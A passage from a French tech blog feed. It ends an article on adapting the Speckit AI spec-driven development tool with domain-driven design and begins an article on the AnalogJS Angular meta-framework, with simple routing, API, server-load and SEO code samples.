<p>et qui rangerait au bon endroit chaque US, chaque test. Idéalement, ce skill one-shot ne devrait pas simplement copier-coller les anciennes spécifications dans la nouvelle arborescence, mais devrait aussi les réécrire par domaine.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/6f845b70-0132-4e4f-a33e-625d723d603c.png" alt="" style="display:block;margin:0 auto" />

<p>Une fois le travail terminé, on ne se base plus sur les anciennes spécifications, mais uniquement sur les spécifications par domaine. Il faut inscrire dans la constitution que toute demande doit désormais être routée vers les spécifications par domaine :</p>
<p><code>VI. Frontières DDD et autonomie des domaines</code></p>
<p><code>Le modèle métier et les frontières de domaines priment sur la commodité technique.</code></p>
<p><code>Toute fonctionnalité DOIT être rattachée à un domaine métier explicite (specs/domains/&lt;domain&gt;).</code></p>
<p><code>Les bounded contexts DOIVENT rester autonomes: vocabulaire, invariants, et règles propres.</code></p>
<p><code>Le partage direct de modèles entre domaines DOIT être évité; utiliser des contrats explicites et/ou une couche d’anti-corruption.</code></p>
<p><code>La duplication de code entre domaines est AUTORISÉE (et peut être préférée) lorsqu’elle protège la clarté des frontières métier.</code></p>
<p><code>Un composant "commun" n’est acceptable que s’il représente une capacité réellement partagée et non une fuite de frontière.</code></p>
<p>Essayons maintenant de réaliser notre nouvelle évolution :</p>
<p><code>/speckit-specify la liste des praticiens doit être triée par proximité par rapport à l'adresse géolocalisée ou saisie par l'utilisateur</code></p>
<p>Le skill ignore la spécification legacy, et se concentre sur l'impact à apporter aux spécifications par domaine. Il identifie d'abord le(s) domaine(s) concerné(s) par ma demande :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/131d735b-ca8d-4d6e-9ad7-0a8726ecf781.png" alt="" style="display:block;margin:0 auto" />

<p>Puis speckit retravaille uniquement la spécification du domaine en ajoutant les règles de gestion nécessaires :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/e6b62e30-db47-4454-98d4-cadb1bb497ea.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/fe144cb9-9859-479c-8820-35e25d2c2a34.png" alt="" style="display:block;margin:0 auto" />

<p>Ensuite appelons le skill <code>/speckit-plan</code> :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/e29155c8-f2e1-463a-aaed-6772dd340379.png" alt="" style="display:block;margin:0 auto" />

<p>et enfin, <code>/speckit-tasks</code> et <code>/speckit-implement</code> pour se concentrer sur le plan généré. Et hop, notre évolution est réalisée, les praticiens sont triés par distance croissante.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/4022ccc4-5a04-48f1-a600-542b1a0257b1.png" alt="" style="display:block;margin:0 auto" />

<p>C'est moche, essayons d'arranger ce layout :</p>
<p><code>/speckit-specify Refonte de l'interface utilisateur (UX/UI) pour optimiser l'espace et la disposition de la liste des praticiens.</code></p>
<p><code>Densifie la liste des praticiens pour afficher plus d'informations à l'écran. Elargis la carte principale pour qu'elle s'adapte dynamiquement à la largeur de la fenêtre du navigateur (mode "full-width" responsive). Transforme la liste actuelle en une grille de tuiles (cards). Disposition des tuiles : alignement de gauche à droite, puis de haut en bas (layout Grid / Flexbox multiligne). Comportement : le nombre de tuiles par ligne doit s'ajuster automatiquement selon la largeur de la fenêtre pour maximiser l'espace disponible. Remplace aussi le menu secteur par un curseur de 0 à 100km</code></p>
<p>On lance et ...</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/49ab04f0-6e63-4f9e-89fd-ee9c6e67d8e6.png" alt="" style="display:block;margin:0 auto" />

<p>Eh oui ! Si vous êtes un lecteur averti - nul doute là-dessus, puisque vous êtes sur <a href="http://Niji.tech">Niji.tech</a><a href="https://niji.tech/">, le meilleur de la tech by Niji</a> - vous aurez noté précédemment que</p>
<blockquote>
<p>toute demande doit désormais être routée vers les spécifications par domaine</p>
</blockquote>
<p>donc <code>/speckit.design</code> ne modifie que la spécification concernée :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/dfdb6ada-4087-40c9-aaca-ca60a9257e22.png" alt="" style="display:block;margin:0 auto" />

<p>Quelques étapes plus loin, on obtient notre évolution, raccord avec spécifications et tests :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/dd7dcea4-eb4b-4388-9fc5-1798e1325bc5.png" alt="" style="display:block;margin:0 auto" />

<p>Pour aller au bout de notre idée, rajoutons à la constitution :</p>
<blockquote>
<p>Pour toute nouvelle feature, speckit-design DOIT etre la premiere etape (routage bounded context + dossier domaine cible).</p>
</blockquote>
<p>ce qui aura pour effet d'interdire les <code>/speckit.specify</code> sans avoir lancé <code>/speckit.design</code> au préalable</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/516ce249-3664-4d1a-8053-6be6b9eab432.png" alt="" style="display:block;margin:0 auto" />

<h2>La parallélisation des développements.</h2>
<p>Speckit est efficace en solitaire. Mais on a encore parfois besoin d'une équipe de plusieurs développeurs augmentés pour tenir un planning. Le risque de se marcher dessus augmente donc. Ce constat n'est pas nouveau mais il est exacerbé avec l'IA gen : chaque développeur travaille sur sa fenêtre de contexte et sa spécification, en revanche le code lui est partagé dans toute l'équipe. Quand 3 développeurs vont lancer un <code>/speckit.implement</code> et qu'une partie de code est commune aux 3 développeurs, le nombre de conflits va exploser et la gestion des branches avec.</p>
<h3>Comment faire ?</h3>
<p>Traditionnellement, investir dans le Domain Driven Design suppose une rigueur technico-fonctionnelle lourde et souvent coûteuse à mettre en place. Mais on peut s'en inspirer pour garder les principes qui nous intéressent, sans forcément aller jusqu'au bout de la philosophie. Comme on l'a vu, il est possible de déléguer à l'IA la définition des domaines métier, en les interprétant à partir du besoin exprimé et du code existant ; on peut aussi lui demander de générer le langage ubiquitaire (le modèle d'information commun) ; ainsi que l'architecture en couches propre au DDD.</p>
<p>Dans l'exemple précédent, non seulement notre application de prise de rendez-vous a été spécifiée par domaine, mais notre nouveau skill <code>/speckit.design</code> a aussi respecté une implémentation selon l'approche Domain Driven Design :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/1c6ca4dd-97b7-4f4b-afca-beeb93e8f30b.png" alt="" style="display:block;margin:0 auto" />

<p>Le code est bien découpé par domaine, l'UI et la logique sont bien séparés et l'infrastructure est gérée à part. L'implémentation par IA n'a pas duré plus longtemps, mais elle a rendu une architecture plus facile à appréhender. Même étant seul développeur, je sais exactement où intervenir pour faire évoluer telle fonctionnalité. A plusieurs, on peut se responsabiliser chacun sur son domaine métier. Voire revenir à des notions de feature team augmentées. Le travail se parallélise mieux.</p>
<p>Oui, cette architecture apportera sans doute une complexité supplémentaire, mais est-ce encore un problème à l'heure de la gen AI ? On gagne surtout les avantages d'une architecture solide, propre et pérenne à un coût infiniment moindre par rapport à l'époque <em>so-2020</em> où la gen AI n'avait pas encore percé.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/816e4ce9-80b4-4fbf-b794-40557ce073dd.png" alt="" style="display:block;margin:0 auto" />

<blockquote>
<p>(c'est de l'humour, on se calme équipe 1er degré :)</p>
</blockquote>
<h2>Le cycle d'instructions</h2>
<p>Avec Speckit, le cycle d'instructions à respecter est fastidieux, même si vous souhaitez juste modifier un bouton.</p>
<p>Voici la description du cycle complet :</p>
<table>
<thead>
<tr>
<th><strong>Commande</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody><tr>
<td><code>/speckit.constitution</code></td>
<td>Crée ou met à jour les principes de gouvernance du projet et les guidelines de développement</td>
</tr>
<tr>
<td><code>/speckit.specify</code></td>
<td>Définit ce que vous voulez construire (exigences, user stories)</td>
</tr>
<tr>
<td><code>/speckit.clarify</code></td>
<td>Clarifie les zones d'ombre (recommandé avant /speckit.plan)</td>
</tr>
<tr>
<td><code>/speckit.plan</code></td>
<td>Crée le plan de conception technique et génère la documentation associée selon vos choix de stack technique.</td>
</tr>
<tr>
<td><code>/speckit.checklist</code></td>
<td>Génère une liste de points à vérifier avant implémentation (cohérence, exhaustivité, respect et clarté des exigences)</td>
</tr>
<tr>
<td><code>/speckit.tasks</code></td>
<td>Génère une liste de tâches de développement avec pour chacune le caractère parallélisable sur plusieurs agents d'implémentation.</td>
</tr>
<tr>
<td><code>/speckit.analyze</code></td>
<td>Analyse de la cohérence cross-artifact</td>
</tr>
<tr>
<td><code>/speckit.taskstoissues</code></td>
<td>Convertit les tâches générées en GitHub issues pour le tracking et leur exécution.</td>
</tr>
<tr>
<td><code>/speckit.implement</code></td>
<td>Exécute les tâches du plan d'implémentation pour construire la fonctionnalité selon le plan.</td>
</tr>
</tbody></table>
<p>Le respect de ce cycle assure qu'à chaque instant vos spécifications, vos tests et votre code sont synchronisés au sein du même repository. Cependant on sait tous qu'en cas d'urgence, le délai de déploiement d'un correctif peut justifier de modifier le code manuellement en allant au plus vite. Il parait donc utopique de conserver cette rigueur sur la durée. Les spécifications et les tests ne reflètent alors plus le code et ne sont plus une source de vérité pour l'avenir.</p>
<h3>Comment faire ?</h3>
<p>Dans notre exemple précédent, nous utilisions le nouveau skill <code>/speckit.design</code> pour identifier les domaines métier, puis il fallait enchainer avec <code>/speckit.specify</code> et la demande. Faisons évoluer <code>/speckit.design</code> pour être utilisé soit seul (identification des domaines métier, mise en place de l'arborescence projet raccord), soit directement avec une demande. Dans ce cas, le skill enchainera avec <code>/speckit.specify</code> pour réaliser la spécification nécessaire :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/73ac6446-f338-4afb-80f9-2871daa2b084.png" alt="" style="display:block;margin:0 auto" />

<p>Speckit détecte bien le domaine concerné par ma demande :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/4a8fc3f9-bf39-4dd2-a18d-2eac3d0e1365.png" alt="" style="display:block;margin:0 auto" />

<p>Ensuite, si on est pressé il est possible de lier manuellement les appels suivants :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/88162934-f374-401d-a545-959dafb84f33.png" alt="" style="display:block;margin:0 auto" />

<p>Voire on pourrait imaginer un skill <code>/speckit-dash</code> qui automatiserait ces appels. On aurait ainsi le choix de dérouler chacune des étapes manuellement avec la maîtrise du plan d'implémentation et des tâches qui en découlent, ou d'exécuter une fois <code>/speckit-dash</code> si on accorde notre confiance à Speckit pour faire les bons choix.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/1064abdf-3f73-4f34-879f-65f4513147e8.png" alt="" style="display:block;margin:0 auto" />

<p>On réduit ainsi le cycle d'instruction nécessaire, notamment pour intervenir en urgence et déployer un correctif rapidement.</p>
<p>Toutefois, dans ce contexte il sera plus rapide donc plus instinctif d'aller directement modifier le code généré par l'IA, ou de prompter de façon brute le correctif souhaité, plutôt que de repasser par des skills. Dans ce cas, on va créer un écart entre les spécifications et le produit. Des plugins existent déjà tels que <a href="https://github.com/bgervin/spec-kit-sync">bgervin/spec-kit-sync</a> pour resynchroniser vos spécifications depuis le code.</p>
<h2>Synthèse</h2>
<p>Speckit allie rigueur et flexibilité pour s’adapter aux besoins de chaque projet. Il peut offrir une structure solide pour les projets encadrés ou basculer vers plus de souplesse quand nécessaire. Des ajustements ciblés permettent de rationaliser la spécification par domaine métier, facilitant son appropriation. Dans cet article, nous avons exploré l'intégration de l'IA pour automatiser le Domain Driven Development, ce qui améliore la parallélisation des tâches tout en assurant une synchronisation parfaite entre le produit et ses spécifications. La réduction des cycles d’instructions accélère également le développement si besoin. Enfin, le découpage par domaine métier optimise le travail des équipes distribuées en adaptant le cadre à leur organisation.</p>
<h2>Conclusion</h2>
<p>Cette exploration de Speckit en 2 articles montre que les outils d'IA générative ne suppriment pas le besoin de rigueur, mais le déplacent. Vibe-coder vite et sale n'a jamais été aussi accessible, mais c'est dangereux. Car le gain observé à court terme masque une dette menaçant la pérennité du produit. Les solutions actuelles de <em>harness engineering</em> telles que Speckit peuvent apporter une solution. En combinant une approche ATDD (le produit fait ce qu'on attend de lui), une Constitution (pour mettre des limites à l'IA), et une approche inspirée du DDD (pour cloisonner les responsabilités et permettre le travail en équipe), on commence à imaginer ce que sera le développement augmenté de demain.</p>
<p>En prolongeant la réflexion, on peut imaginer que le code va passer de livrable final à sous-produit technique, automatisable...et jetable ! La richesse d'un projet résidant dans ses spécifications, son architecture et son modèle métier qu'il sera possible de réimplémenter à volonté.</p>
<p>Nous avons exploré Speckit et l'avons "hacké" pour s'adapter aux contraintes de la vraie vie mais les standards sont encore à écrire, et définiront le métier de développeur augmenté. Un développeur qui loin de disparaître, deviendra l'ultime garant du projet. Il devra suivre la cadence infernale de l'IA qui développe, en sécurisant l'architecture fonctionnelle et technique empêchant l'IA de détruire demain ce qu'elle a construit aujourd'hui.</p>
]]></content:encoded></item><item><title><![CDATA[Découverte d'AnalogJS : le meta-framework Angular moderne]]></title><description><![CDATA[Sommaire

Introduction et contexte

Qu’est-ce qu’AnalogJS ?

La construction d’AnalogJS : sur quoi repose-t-il ?

AnalogJS et le SSR : quelle différence avec @angular/ssr ?

Cas d’usage concrets, exem]]></description><link>https://niji.tech/analog-js</link><guid isPermaLink="true">https://niji.tech/analog-js</guid><category><![CDATA[Angular]]></category><category><![CDATA[js]]></category><dc:creator><![CDATA[François-Régis LANCIEN 🚀]]></dc:creator><pubDate>Mon, 06 Jul 2026 14:07:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/d2c5b628-eb6a-44db-aabf-30db2b1f30f4.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Sommaire</h2>
<ul>
<li><p>Introduction et contexte</p>
</li>
<li><p>Qu’est-ce qu’AnalogJS ?</p>
</li>
<li><p>La construction d’AnalogJS : sur quoi repose-t-il ?</p>
</li>
<li><p>AnalogJS et le SSR : quelle différence avec @angular/ssr ?</p>
</li>
<li><p>Cas d’usage concrets, exemples simples et principes clés</p>
</li>
<li><p>Les raisons d'adopter AnalogJS</p>
</li>
<li><p>Les limites: ce qu'il faut savoir avant de se lancer</p>
</li>
<li><p>Conclusion</p>
</li>
</ul>
<hr />
<h2>Introduction et contexte</h2>
<p>Ces dernières années, l'écosystème frontend a vu fleurir de nombreux meta-frameworks comme <strong>Next.js pour React</strong> ou <strong>Nuxt pour Vue</strong>. Ces nouveaux arrivants ont révolutionné le domaine en proposant une intégration plus poussée du développement Web : <strong>Server Side Rendering (SSR)</strong>, <strong>Static Site Generator (SSG)</strong>, <strong>routing simplifié</strong> ou encore une <strong>optimisation de performances</strong> directement intégrée dans l'outil. Ces intégrations répondent à un besoin réel du terrain concernant les projets modernes, notamment autour du <strong>Search Engine Optimization</strong> (SEO) et de la simplification des architectures.</p>
<p>De son côté, Angular est historiquement orienté <strong>Single Page Application (SPA)</strong>. Si le framework propose aujourd'hui une solution SSR officielle via <code>@angular/ssr</code> (depuis Angular 17), sa mise en place reste à la charge du développeur et peut nécessiter une configuration non négligeable selon le contexte projet. En parallèle, les ajouts des <a href="https://niji.tech/signals-angular-reacting-simplified">Signals</a> ou des standalone components indiquent clairement une volonté de moderniser l'expérience développeur.</p>
<p><strong>AnalogJS</strong> s'insère dans cette dynamique en proposant une approche inspirée par les meta-frameworks modernes et avec pour but de simplifier les problématiques full-stack dans les projets Angular.</p>
<p>Plus loin que la simple découverte de l'outil, l'objectif de cet article est de <strong>comprendre ce qu'apporte AnalogJS à l'écosystème Angular</strong> et dans quels contextes son utilisation apporte de la valeur.</p>
<h2>Qu’est-ce qu’AnalogJS ?</h2>
<p>Comme dit précédemment, AnalogJS est un meta-framework construit au-dessus d'Angular. A l'image de ce qu'apporte Next.js à React ou Nuxt à Vue, AnalogJS cherche à simplifier l'ajout de nouvelles fonctionnalités telles que le SSR, le SSG ou encore certaines capacités full-stack.</p>
<p>A l'inverse d'une bibliothèque supplémentaire dans le projet, <strong>AnalogJS ne remplace pas Angular mais agit comme une surcouche structurante</strong>. Angular reste au centre de l'application (au niveau des composants, des injections de dépendances, du routing ou encore de la réactivité), tandis qu'<strong>AnalogJS apporte un cadre pour organiser le projet</strong>, gérer le build et <strong>faciliter l'intégration de fonctionnalités plus avancées</strong>.</p>
<p>Selon moi, le point fort d'AnalogJS réside dans sa capacité à améliorer la <a href="https://niji.tech/dx-developer-experience-enjeux">Developer Experience (DX)</a>. <strong>En préférant Vite</strong> à l'outillage traditionnel embarqué par Angular, j'ai notamment constaté des temps de démarrage plus courts, <strong>un live reload plus fluide</strong> et une <strong>configuration plus légère</strong>. En effet, dans mes tests sur un projet Angular de taille moyenne, le démarrage du serveur de développement passe de ~8 secondes à moins de 2 secondes avec Vite. Le Hot Module Reload (HMR) devient lui quasi instantané de son côté. Ces chiffres ne sont pas universels et varient suivant la taille du projet et des performances de la machine. Cumulées pendant la phase de développement, ces petites améliorations font une <strong>réelle différence</strong> quand les heures passées sur un projet deviennent importantes. En clair pour moi une belle réussite qui concilie les fondamentaux propres à Angular tout en adoptant une structure et une approche plus moderne, déjà adoptée par la concurrence.</p>
<h2>La construction d’AnalogJS : sur quoi repose-t-il ?</h2>
<p>Il est important de voir AnalogJS comme un assemblage cohérent de technologies complémentaires, chacune répondant à un besoin précis aussi bien côté backend que frontend.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/621dadfa-83a5-42a6-a8c7-7795a9c86964.png" alt="" style="display:block;margin:0 auto" />

<p>Côté frontend, <strong>AnalogJS repose naturellement sur Angular</strong>. On y retrouve les grands principes du framework tels que les <strong>composants standalone</strong>, l'<strong>injection de dépendances</strong>, les <strong>mécanismes de routing</strong> ou encore les <strong>dispositifs de réactivité modernes</strong> tels que les <a href="https://niji.tech/signals-angular-reacting-simplified">Signals</a>. L'objectif ici n'est pas de modifier la façon que l'on a de développer en Angular, mais venir ajouter un cadre plus structuré autour de ces pratiques modernes.</p>
<p>L'un des principaux atouts réside dans l'adoption de Vite comme bundler et serveur de développement. Ce choix permet d'<strong>améliorer les performances en phase de développement</strong> et représente un choix cohérent avec l'évolution actuelle de l'écosystème frontend dans lequel Vite tend à devenir un standard.</p>
<p>Côté backend, le meta-framework s'appuie sur <strong>Nitro</strong>, outil provenant de l'écosystème Nuxt. Il permet de gérer le rendu côté serveur, les endpoints de l'API ainsi que les différentes stratégies de déploiement (Node, serverless ou edge). Cela permet de <strong>centraliser les besoins front et back dans un même projet</strong>, sans besoin d'externaliser un backend pour des besoins simples. Au-delà des technologies qu'AnalogJS utilise, il repose aussi sur des <strong>principes structurants hérités des meta-frameworks modernes</strong>: forte convention de structure projet, intégration native du SSR / SSG, et une volonté de réduire la configuration au profit de conventions (convention over configuration).</p>
<p>Pour mieux comprendre ce qu’AnalogJS apporte au quotidien, il est donc utile de s’intéresser aux principales fonctionnalités qu’il met à disposition et à la manière dont elles s’intègrent dans le développement d’une application.</p>
<h2>AnalogJS et le SSR : quelle différence avec @angular/ssr ?</h2>
<p>Avant d'aller plus loin dans les cas d'usage, il est important de clarifier un point: <strong>Angular propose déjà une solution de SSR officielle</strong> via <code>@angular/ssr</code> (anciennement Angular Universal). La question est alors: <strong>pourquoi utiliser AnalogJS pour faire du SSR ?</strong></p>
<p>Les deux approches ne s'opposent pas mais elle ne répondent pas tout à fait au même besoin final.</p>
<p>Avec <code>@angular/ssr</code>, le SSR est une <strong>fonctionnalité que l'on ajoute à un projet Angular existant</strong>. C'est une approche flexible, bien intégrée à Angular et qui convient très bien à une architecture établie.</p>
<p>AnalogJS adopte une philosophie différente: le <strong>SSR y est natif et structurant dès le départ</strong>. Il est partie intégrante du cadre proposé, au même titre que le routing basé sur les fichiers et les API routes. C'est Nitro qui prend en charge la couche serveur, ce qui apporte une plus grand flexibilité sur les stratégies de déploiement.</p>
<p>Pour résumer:</p>
<table>
<thead>
<tr>
<th></th>
<th><code>@angular/ssr</code></th>
<th>AnalogJS</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Intégration</strong></td>
<td>Ajout sur un projet Angular</td>
<td>Natif, inclus dans le starter</td>
</tr>
<tr>
<td><strong>Configuration</strong></td>
<td>Manuelle</td>
<td>Convention over configuration</td>
</tr>
<tr>
<td><strong>Couche serveur</strong></td>
<td>Express</td>
<td>Nitro</td>
</tr>
<tr>
<td><strong>Déploiement</strong></td>
<td>Node principalement</td>
<td>Node, serverless, edge</td>
</tr>
<tr>
<td><strong>Idéal pour</strong></td>
<td>Projets existants, architecture maîtrisée</td>
<td>Nouveaux projets, approche full-stack</td>
</tr>
</tbody></table>
<p>Le <strong>choix entre les deux dépend moins d'une question de performances que de contexte projet</strong>: si vous démarrez sur un nouveau projet avec des besoins full-stask et SEO, AnalogJS offre un cadre clé en main, parfait pour débuter. Si vous cherchez à inclure du SSR sur un projet Angular existant, <code>@angular/ssr</code> reste la voie la plus directe et la plus officielle.</p>
<h2>Cas d’usage concrets, exemples simples et principes clés</h2>
<p>Au-delà des concepts expliqués plus haut dans l'article, l'intérêt d'AnalogJS apparaît surtout lors de la <strong>mise en place rapide</strong> d'un projet réel. Voici quelques exemples simples qui illustrent les principes clés du meta-framework.</p>
<h3>Création d'une page avec routing basé sur les fichiers</h3>
<p>AnalogJS utilise un <strong>système de file-based routing</strong>, ce qui évite d'avoir à configurer le router Angular pour des pages simples dans l'application.</p>
<p>Par exemple, si on veut créer une page /users, il suffit de créer un fichier avec ce chemin dans le projet:</p>
<blockquote>
<p>src/routes/users.page.ts</p>
</blockquote>
<p>Et de rajouter ce contenu exemple pour le test:</p>
<pre><code class="language-typescript">import { Component } from '@angular/core';

@Component({
  standalone: true,
  template: `
    &lt;h1&gt;Users&lt;/h1&gt;
    &lt;p&gt;Liste des utilisateurs&lt;/p&gt;
  `
})
export default class UsersPage {}
</code></pre>
<p>La route est automatiquement disponible, sans ajout de configuration supplémentaire. La structure de fichiers est alors une représentation abstraite de ce que va être celle côté application.</p>
<h3>Créer un endpoint API simplement</h3>
<p>AnalogJS permet aussi de créer des endpoints pour le backend directement dans le projet, pratique pour éviter d'avoir à mettre en place un backend séparé pour des besoins simples.</p>
<p>Par exemple, un endpoint pour simplement récupérer des utilisateurs :</p>
<blockquote>
<p>src/server/api/users.get.ts</p>
</blockquote>
<p>Avec le contenu suivant :</p>
<pre><code class="language-typescript">export default defineEventHandler(() =&gt; {
  return [
    { id: 1, name: 'Guillaume' },
    { id: 2, name: 'Alan' },
    { id: 3, name: 'William' },
  ];
});
</code></pre>
<p>Ce endpoint est alors directement disponible via :</p>
<blockquote>
<p>/api/users</p>
</blockquote>
<p>Cela devient particulièrement utile pour <strong>mocker facilement de la donnée</strong> (pour des tests, cas aux limites) mais aussi pour <strong>centraliser une logique simple côté serveur</strong>.</p>
<p>Une fois cette API disponible, on peut la consommer simplement côté composant :</p>
<pre><code class="language-typescript">import { Component, inject } from '@angular/core';
import { HttpClient } from '@angular/common/http';

@Component({
  standalone: true,
  template: `
    &lt;h2&gt;Users&lt;/h2&gt;

    &lt;ul&gt;
      &lt;li *ngFor="let user of users"&gt;
        {{ user.name }}
      &lt;/li&gt;
    &lt;/ul&gt;
  `
})
export default class UsersPage {

  http = inject(HttpClient);

  users: User[] = [];

  ngOnInit() {
    this.http.get&lt;User[]&gt;('/api/users')
      .subscribe(data =&gt; this.users = data);
  }

}
</code></pre>
<p>Cette implémentation devient alors une <strong>arme redoutable pour toute élaboration de projets internes ou prototypes type Proof of Concept (PoC)</strong> mais reste tout autant efficace pour des projets plus importants.</p>
<h3>Server-side data fetching</h3>
<p>Un autre point fort d'AnalogJS réside dans <strong>sa capacité à charger des données côté serveur</strong> avant le rendu d'une page côté utilisateur. Ce mécanisme, inspiré de ce que proposent Next.js ou Nuxt, repose sur une fonction <em>load()</em> associée à une page. Cette fonction s'exécute côté serveur au moment de la requête, ce qui garantit aux données d'être présentes dans le HTML dès le premier octet envoyé au navigateur.</p>
<p>Reprenons l'exemple de notre page <em>/users</em>. Plutôt que de faire un appel HTTP dans le composant Angular après le rendu initial de la page, on peut <strong>déléguer ce chargement au server</strong> en ajoutant un fichier <em>.server.ts</em> associé :</p>
<pre><code class="language-typescript">import { PageServerLoad } from '@analogjs/router';

export const load = async ({ params }: PageServerLoad) =&gt; {
  const response = await fetch('https://mon-api.com/users');
  const users = await response.json();

  return { users };
};
</code></pre>
<p>Côté composant, <strong>les données sont récupérées via injectLoad()</strong>, sans aucun appel HTTP supplémentaire :</p>
<pre><code class="language-typescript">import { Component } from '@angular/core';
import { injectLoad, toSignal } from '@analogjs/router';
import { load } from './users.server';

@Component({
  standalone: true,
  template: `
    &lt;h1&gt;Users&lt;/h1&gt;
    &lt;ul&gt;
      @for (user of data().users; track user.id) {
        &lt;li&gt;{{ user.name }}&lt;/li&gt;
      }
    &lt;/ul&gt;
  `
})
export default class UsersPage {
  data = toSignal(injectLoad&lt;typeof load&gt;(), { requireSync: true });
}
</code></pre>
<p>Dans une SPA Angular standard ou sans faire de server-side côté AnalogJS, <strong>le HTML initial arrive vide et les données sont chargées après</strong>, côté client. Ici, le serveur résout les données avant d'envoyer la réponse, ce qui permet deux effets intéressants :</p>
<ul>
<li><p><strong>SEO</strong> : les crawlers Web voient un contenu à la première requête, ce qui permet une meilleure indexation du contenu de la page.</p>
</li>
<li><p><strong>Performance</strong> : le contenu est affiché immédiatement, sans état de chargement intermédiaire / loader qui pourrait altérer l'expérience utilisateur.</p>
</li>
</ul>
<p>Ce mécanisme devient alors un <strong>allié pertinent sur des pages à fort enjeu SEO</strong> comme des fiches produits, des articles de blog ou des pages de résultats, là où afficher un contenu vide en attendant un appel API côté client n'est pas acceptable.</p>
<h3>Utiliser du Markdown pour générer des pages de contenu</h3>
<p>Comme ses concurrents directs, AnalogJS permet de créer des pages de <strong>contenu à partir de fichiers Markdown</strong>, très utile pour de la <strong>documentation</strong>, un <strong>blog</strong> ou des <strong>pages de contenu</strong> pur.</p>
<p>Exemple de fichier dans la structure de projet :</p>
<blockquote>
<p>src/routes/blog/mon-article.md</p>
</blockquote>
<pre><code class="language-markdown"># Mon article

Voici un exemple de contenu Markdown avec AnalogJS.

- Simple
- Rapide
- Efficace
</code></pre>
<p>La page est alors accessible via ce segment URL :</p>
<blockquote>
<p>/blog/mon-article</p>
</blockquote>
<p>Ce mécanisme de génération de contenu via Markdown permet aussi de séparer le contenu et la logique applicative.</p>
<h3>Gérer le SEO et les meta tags d’une page</h3>
<p>Une autre force que j'accorde à AnalogJS est de faciliter l'<strong>optimisation SEO</strong> grâce au SSR. Contrairement à une SPA classique dans laquelle les meta tags sont parfois mal gérés par les crawlers Web, AnalogJS permet de définir proprement les informations SEO au niveau des pages de l'application.</p>
<p>Exemple simple pour un titre et une description :</p>
<pre><code class="language-typescript">import { Component } from '@angular/core';
import { Meta, Title } from '@angular/platform-browser';

@Component({
  standalone: true,
  template: `
    &lt;h1&gt;Users&lt;/h1&gt;
    &lt;p&gt;Liste des utilisateurs de l'application&lt;/p&gt;
  `
})
export default class UsersPage {

  constructor(
    private title: Title,
    private meta: Meta
  ) {
    this.title.setTitle('Utilisateurs | Ma Super Plateforme');

    this.meta.addTags([
      { name: 'description', content: 'Liste des utilisateurs de la plateforme' },
      { name: 'author', content: 'Jean RICHARD' }
    ]);
  }

}
</code></pre>
<p>On peut également ajouter des <strong>meta tags Open Graph</strong> pour améliorer le partage sur les réseaux :</p>
<pre><code class="language-typescript">this.meta.addTags([
  { property: 'og:title', content: 'Utilisateurs | Ma Super Plateforme' },
  { property: 'og:description', content: 'Liste des utilisateurs' },
  { property: 'og:type', content: 'website' }
]);
</code></pre>
<p>Ce type d'optimisation permet de simplement gérer page par page ses interactions avec le SEO et les données que l'on veut voir apparaître côté navigateur.</p>
<p>Ces différents exemples montrent qu'AnalogJS <strong>ne se limite pas à juste proposer de nouvelles fonctionnalités</strong>, mais cherche surtout à <strong>simplifier l'implémentation de problématiques</strong> devenues centrales dans l'écosystème Angular moderne : routing structuré, endpoints API simples, gestion de contenu ou encore optimisation du SEO.</p>
<h2>Les raisons d'adopter AnalogJS</h2>
<p>Au-delà de tous ces aspects techniques, la vraie question que l'on est en droit de se poser est la suivante : <strong>dans quels contextes ces apports justifient-ils réellement l'adoption d'AnalogJS ?</strong> Comme souvent avec ce genre d'outillage, la réponse dépend moins des fonctionnalités que des besoins réels du projet, de sa complexité ou encore de ses contraintes d'architecture.</p>
<p>Dans les expérimentations que j'ai pu mener, AnalogJS montre surtout son intérêt lorsqu'il permet de simplifier des problématiques habituellement coûteuses à mettre en place dans un projet Angular, notamment autour du SSR ou de la structuration full-stack.</p>
<p>Voici quelques raisons qui, selon moi, peuvent justifier son adoption :</p>
<ul>
<li><strong>Améliorer l’expérience développeur et la productivité</strong></li>
</ul>
<p>L'ajout de Vite et l'approche plus conventionnelle permettent de réduire le temps passé sur la configuration et d'accélérer les cycles de développement. À l'échelle d'une équipe, ce type de gains peut avoir un réel impact sur la vélocité et la <a href="https://niji.tech/dx-developer-experience-enjeux">Developer Experience (DX)</a> apportée au projet.</p>
<ul>
<li><strong>Moderniser l’approche Angular sur de nouveaux projets</strong></li>
</ul>
<p>AnalogJS permet de démarrer rapidement avec un ensemble moderne et complet (SSG, SSR, conventions de structure projet) sans avoir à faire évoluer d'une manière ou d'une autre une architecture existante. Cette approche rend ce méta-framework particulièrement efficace dans une logique de projets greenfield (projets démarrés from scratch, sans stack à maintenir ou à faire évoluer).</p>
<ul>
<li><strong>Une alternative crédible pour les projets nécessitant du SEO ou contenu public</strong></li>
</ul>
